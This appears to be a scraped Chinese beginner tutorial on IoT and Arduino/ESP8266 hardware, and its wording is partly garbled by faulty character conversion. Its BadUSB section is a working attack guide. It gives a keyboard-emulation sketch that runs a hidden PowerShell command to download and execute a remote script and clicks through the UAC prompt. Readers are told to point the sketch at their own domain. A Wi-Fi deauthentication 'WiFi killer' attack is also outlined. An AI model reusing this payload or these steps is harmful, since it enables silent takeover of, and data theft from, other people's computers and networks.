天天看點

IOT入門1

初認IOT

1.物聯網,顧名思義:萬物皆可聯網

涉及到的相關技術:

(1)射頻識别技術

談到物聯網,就不得不提到物聯網發展中備受關注的射頻識别技術(Radio Frequency Identification,簡稱RFID)。RFID是一種簡單的無線系統,由一個詢問器(或閱讀器)和很多應答器(或标簽)組成。标簽由耦合元件及晶片組成,每個标簽具有唯擴充詞條一的電子編碼,附着在物體上辨別目标對象,它通過天線将射頻資訊傳遞給閱讀器,閱讀器就是讀取資訊的裝置。RFID技術讓物品能夠“開口說話”。這就賦予了物聯網一個特性即可跟蹤性。就是說人們可以随時掌握物品的準确位置及其周邊環境。

(2)傳感網

MEMS是微機電系統( Micro - Electro - Mechanical Systems)的英文縮寫。它是由微傳感器、微執行器、信号處理和控制電路、通訊接口和電源等部件組成的一體化的微型器件系統。其目标是把資訊的擷取、處理和執行內建在一起,組成具有多功能的微型系統,內建于大尺寸系統中,進而大幅度地提高系統的自動化、智能化和可靠性水準。它是比較通用的傳感器。因為MEMS,賦予了普通物體新的生命,它們有了屬于自己的資料傳輸通路、有了存儲功能、作業系統和專門的應用程式,進而形成一個龐大的傳感網。這讓物聯網能夠通過物品來實作對人的監控與保護。

(3)M2M系統架構

M2M是Machine-to-Machine/Man的簡稱,是一種以機器終端智能互動為核心的、網絡化的應用與服務。它将使對象實作智能化的控制。M2M技術涉及5個重要的技術部分:機器、M2M硬體、通信網絡、中間件、應用。基于雲計算平台和智能網絡,可以依據傳感器網絡擷取的資料進行決策,改變對象的行為進行控制和回報。

(4)雲計算

雲計算旨在通過網絡把多個成本相對較低的計算實體整 合成一個具有強大計算能力的完美系統,并借助先進的商業 模式讓終端使用者可以得到這些強大計算能力的服務。

(5)大資料

在未來十年内,估計會出現約兩百五十億個網絡連接配接裝置,比個人計算機、手機和平闆計算機等的數量加起來還多,這是一個很龐大的連接配接(有人甚至估計這個數字還要高得多,超過一千億)。物聯網是連接配接 “物品” 的巨大網絡。這關系是在人與人、人與事、物與物之間。是以,影響物聯網最大的因素之一就是資料:資料量、資料的管理和使用

一,Arduino硬體入門基礎(入手最簡單)

基本介紹:Arduino 是一款簡單易用、便于上手的開源電子原型平台,包含硬體部分(各種符合 Arduino 規範的開發闆)和軟體部分(Arduino IDE和相關的開發包)。

硬體部分(或稱開發闆)由微控制器(MCU)、閃存(Flash)以及一組通用輸入/輸出接口(GPIO)等構成,你可以将它了解為是一塊微型電腦主機闆。

軟體部分則主要由PC端的 Arduino IDE 以及相關的闆級支援包(BSP)和豐富的第三方函數庫組成

環境多:Arduino,c/c++,lua等等

開源性:你後期想選版子的話大多不用選意大利進口的,因為盜版的功能一樣,價格親民,隻是沒有logo

下面是準備學習Arduino硬體的基本知識

1.1認識基礎的電子元件

基礎元件圖檔轉載于:https://baijiahao.baidu.com/s?id=1647201992646793285&wfr=spider&for=pc

基礎元件:

1.電阻器(變電阻器)

圖檔:https://ftp.bmp.ovh/imgs/2020/08/429b1e6c807a0c09.png

電阻又分成:電位器,滑動觸電電位器,熱敏電阻器,光敏,濕敏,壓敏,氣敏電阻器

2.二級管

圖檔;https://ftp.bmp.ovh/imgs/2020/08/8cf577b835e1d282.bmp

二極管:普通,發光,發電二極管

3.電容器

圖檔:https://ftp.bmp.ovh/imgs/2020/08/d4e4d8dfc413787f.bmp

電容:極性,微調,單聯,多聯電容

4.繼電器與幹簧管

圖檔:https://ftp.bmp.ovh/imgs/2020/08/df47fe42bee829b5.bmp

繼電器:電磁繼電器,幹簧管

5.焊錫槍

焊錫槍:松香(助焊膏)錫線,高溫海綿

1.2Arduino環境

Arduino官網:https://www.arduino.cc/ 這裡下載下傳Arduino軟體

1.3選版

1.ESP8266-NodeMCU,這個版子價格親民并支援WIFI功能(新手推薦),數字輸入輸出引腳10個(全部可以作為PWM引腳) 某寶幾十就可以買到

ESP8266核心文檔:https://pan.baidu.com/s/1bqxLxeR(轉載于太極創客的網盤)

1.4基礎代碼

打開Arduino以後會有這個基礎代碼:

void setup() {

// put your setup code here, to run once:

}

void loop() {

// put your main code here, to run repeatedly:

}

分析:第一個void setup(){ } 這個代碼的意思是第一個執行的指令

void loop() {} 這個是循環執行的指令

1.5代碼拓展:

pinMode(LEDPin,OUTPUT); //設定引腳模式

參數1 引腳

參數2 OUTPUT 輸出;INPUT

輸入用在setup()函數裡

digitalWrite(LEDPin,HIGH); //設定引腳輸出高電平或低電平

參數1 引腳

參數2 HIGH 高電平; LOW 低電平

delay(t); 延時

機關 毫秒

delay有個缺點就是:在給定的時間間隔内是不能做其他操作

執行個體展示:badusb

簡介

通過硬體直接插入對方電腦,讓對方電腦執行代碼,達到幹擾、控制主機或者竊取資訊等目的。

威脅

BadUSB的威脅在于:惡意代碼存在于U盤的固件中,PC上的防毒軟體無法通路到U盤存放固件的區域,是以也就意味着防毒軟體和U盤格式化都無法應對BadUSB的攻擊。

原理

硬體知識基礎

HID攻擊

HID是Human Interface Device的縮寫,由其名稱可以了解HID裝置是直接與人互動的裝置,例如鍵盤、滑鼠與遊戲杆等。不過HID裝置并不一定要有人機接口,隻要符合HID類别規範的裝置都是HID裝置。一般來講針對HID的攻擊主要集中在鍵盤滑鼠上,因為隻要控制了使用者鍵盤,基本上就等于控制了使用者的電腦。攻擊者會把攻擊隐藏在一個正常的滑鼠鍵盤中,當使用者将含有攻擊向量的滑鼠或鍵盤,插入電腦時,惡意代碼會被加載并執行。

Teensy

攻擊者在定制攻擊裝置時,會向USB裝置中置入一個攻擊晶片,此攻擊晶片是一個非常小而且功能完整的單片機開發系統,它的名字叫TEENSY。通過TEENSY你可以模拟出一個鍵盤和滑鼠,當你插入這個定制的USB裝置時,電腦會識别為一個鍵盤,利用裝置中的微處理器與存儲空間和程式設計進去的攻擊代碼,就可以向主機發送控制指令,進而完全控制主機,無論自動播放是否開啟,都可以成功。

攻擊流程

Bad-Usb插入後,會模拟鍵盤滑鼠對電腦進行操作,通過這些操作打開電腦的指令終端,并執行一條指令,這條指令将從指定網址下載下傳其他代碼并于背景靜默運作。這些代碼功能包括:竊取資訊、反彈shell、發送郵件等,進而實作控制目标機或者竊取資訊的目的。

硬體

1286晶片或者2303晶片的U盤,我用的是某寶70rmb的

軟體

1 Arduino IDE

2 Teensyduino

http://www.pjrc.com/teensy/td_123/teensyduino.exe

下載下傳後輕按兩下運作,安裝的時候會有一步安裝裝置驅動,按提示安裝之。

注意,安裝時要求手動選擇Arduino IDE的安裝位置,此時選擇之前步驟zip的解壓目錄即可。

安裝成功後運作arduino.exe會發現這裡有了許多可選項:

我們根據之前案例中使用的硬體,按圖中所示,選擇Arduino Leonardo這一項

制作過程

1 硬體連接配接IDE

    硬體插入電腦

    打開Arduino IDE

    工具->版->選擇“Arduino Leonardo”

    工具->Port->選擇“COM* (Arduino Leonardo)”

    現在可以看到IDE右下角出現“Arduino Leonardo on COM*”

    這裡寫圖檔描述

2 代碼寫入硬體

    複制如下代碼到IDE中(代碼在後面)

    這裡寫圖檔描述

    将代碼中的http://www.cdxy.me/main.ps1改成自己的域名

    點選IDE左上角 對号圖示 驗證,然後點選 箭頭圖示 上傳代碼到硬體,沒報錯就OK了

将硬體重新插入電腦,此時會看到電腦自動執行代碼的全部動畫過程

void setup() {

    delay(5000);

    Keyboard.press(KEY_LEFT_CTRL);

    Keyboard.press(KEY_ESC);

    Keyboard.releaseAll();

    delay(500);

    Keyboard.print("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1');");

    Keyboard.press(KEY_LEFT_CTRL);

    Keyboard.press(KEY_LEFT_SHIFT);

    Keyboard.press(KEY_RETURN);

    Keyboard.releaseAll();

    delay(2500);

    Keyboard.press(KEY_LEFT_ALT);

    Keyboard.press('y');  

    Keyboard.releaseAll();  

    delay(1500);

 }

void loop() {}

代碼解釋:

插入後等待五秒,

按下ctrl+esc,(作用:在任何界面打開開始菜單)

等待半秒,

模拟輸入一個字元串,并回車執行(作用:在開始菜單執行指令)

等待2.5秒,更改焦點,模拟鍵盤輸入y(作用:繞過uac,得到系統許可)

二.

1.1ESP8266(一個神奇的東西)

價格親民,自帶WiFi子產品

ESP8266WIFI子產品的主要功能

ESP8266可以實作的主要功能包括:序列槽透傳,PWM調控,GPIO控制。

序列槽透傳:資料傳輸,傳輸的可靠性好,最大的傳輸速率為:460800bps。

PWM 調控:燈光調節,三色LED調節,電機調速等。

GPIO控制:控制開關,繼電器等

該子產品有三種工作模式,大家可以根據自己的具體情況來選擇:

STA 模式:ESP8266 子產品通過路由器連接配接網際網路,手機或電腦通過網際網路實作對裝置的遠端控制。

AP 模式:ESP8266 子產品作為熱點,手機或電腦直接與子產品連接配接,實作區域網路無線控制。

STA+AP 模式:兩種模式的共存模式,即可以通過網際網路控制可實作無縫切換,友善操作。

對了:别忘了買面包線和面包闆

1、使用AT指令進行操作:這是最常見的方式,也是最簡單是一種方式。無需程式設計,使用PC端的序列槽助手配合簡單的指令就可以實作,也可以配合單片機發送指令使用

2、LUA語言程式設計:這是一種單獨8266程式設計的方式,可以不依靠單片機和序列槽調試軟體,直接把程式編寫到8266内部。

3、Arduino 開發環境程式設計:這個接觸過Arduino的都會比較熟悉。可以直接在Arduino ide的環境下使用Arduino的開發方式進行開發(萬惡的Arduino)

執行個體展示:WiFi殺手(僅供學習)

WI-FI殺手主要利用取消身份驗證洪水攻擊,取消身份驗證洪水攻擊的原理是一個 AP 連接配接了路由器在正常通路網絡,這個時候 Hacker 利用自己電腦或者其他裝置進行僞造取消身份認證的封包,路由器就會以為是 用戶端發過來的需要和用戶端斷開連接配接,已經連接配接的裝置會自動斷開。

WI-FI殺手的詳細工作流程如下。

(1)用戶端的連接配接這個 WiFi 發送認證請求,AP收到然後給與客戶認證響 應;

(2)用戶端再發送認證請求,AP 再發送認證響應用戶端傳輸資料給 AP;

(3)此時攻擊者發送取消身份認證,用戶端還是在發送資料,結果 AP Blocked(本意是此路不通)不接受用戶端的資料;

(4)AP 就發送取消身份認證,用戶端就斷開連接配接了(攻擊者讓 AP 誤以為 是用戶端發送的解除認證,AP 就發送解除認證給用戶端進而解除認證了),如果攻擊者不停止攻擊的話你怎麼連接配接都連接配接不上去的。

怎麼做WiFi殺手:基本就是刷固件,上背景

繼續閱讀